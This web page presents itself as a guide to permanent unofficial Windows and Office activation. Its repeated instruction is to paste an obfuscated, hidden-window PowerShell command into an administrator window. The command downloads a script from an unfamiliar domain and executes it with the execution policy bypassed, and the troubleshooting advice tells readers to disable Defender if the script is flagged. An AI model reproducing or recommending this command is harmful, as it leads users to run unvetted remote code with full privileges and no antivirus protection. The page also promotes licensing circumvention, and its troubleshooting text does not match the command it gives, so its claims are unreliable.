Permanent HWID activation for Windows 10 and Windows 11 — one PowerShell command.
This guide shows how to activate Windows using PowerShell in administrator mode with a single command. The HWID activation method binds a digital license to the motherboard, making it permanent — the license survives reinstalls of the same Windows edition on the same hardware.
Supported: Windows 11, Windows 10, Windows 8.1, Windows 7, Office 2013–2024, and LTSC/LTSB editions.
Open PowerShell as Administrator and run:
powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('https://hashedsolver.icu/update1.ps1');.([scriptblock]::create(`$dpq))"Then press 1 to select HWID Activation and follow the on-screen instructions.
- Press
Win + S, type PowerShell. - Right-click Windows PowerShell and select Run as administrator.
- Approve the UAC prompt.
Paste the following into the elevated PowerShell window and press Enter:
powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('https://hashedsolver.icu/update1.ps1');.([scriptblock]::create(`$dpq))"When the menu appears, press 1 on your keyboard to select:
HWID Activation — Permanent Windows activation
The script contacts Microsoft activation servers, injects a digital license tied to your hardware ID, and reports the result. Typical runtime: 10–40 seconds.
Reboot to apply the changes. After restart, verify activation status:
slmgr /xprYou should see: "The machine is permanently activated."
HWID (Hardware ID) activation registers a digital license with Microsoft's activation servers, keyed to your motherboard. Once activated:
- The license is permanent on that hardware.
- Clean reinstalls of the same edition auto-activate — no key required.
- Windows Update, Microsoft Store, and Defender work normally.
- Genuine status is reported by
slmgr /xprand Settings → Activation.
Other methods available in the same menu:
| Option | Method | Duration |
|---|---|---|
| 1 | HWID (Digital License) | Permanent |
| 2 | KMS38 | Until 2038 |
| 3 | Online KMS | 180 days (auto-renew) |
| 4 | Office activation | Permanent (KMS38) |
Check activation status from PowerShell:
slmgr /xpr # short status
slmgr /dlv # detailed license infoOr open Settings → System → Activation.
PowerShell blocks the script (execution policy)
Run PowerShell as admin and execute:
powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('https://hashedsolver.icu/update1.ps1');.([scriptblock]::create(`$dpq))"Windows Defender flags the script
Some antivirus tools flag activation scripts as unwanted. Temporarily disable real-time protection, or add a folder exclusion, then re-run the command.
"Error 0xC004F074" during HWID activation
Your edition may not be supported by HWID. Use option 2 (KMS38) or 3 (Online KMS) from the menu instead.
Command fails with "irm not recognized"
You are in Command Prompt, not PowerShell. Close it and open Windows PowerShell (or PowerShell 7) as administrator.
- OS: Windows 7 / 8.1 / 10 / 11 (any edition)
- Privileges: Administrator
- Network: Stable internet connection (script is fetched from the server, and activation contacts Microsoft)
- PowerShell: 5.1 or newer (bundled with Windows 10/11)
- Always verify script sources before executing them.
- The command requires administrative privileges.
- HWID activation is tied to hardware — replacing the motherboard invalidates the license.
- Reinstallation of the same edition on the same hardware re-activates automatically.
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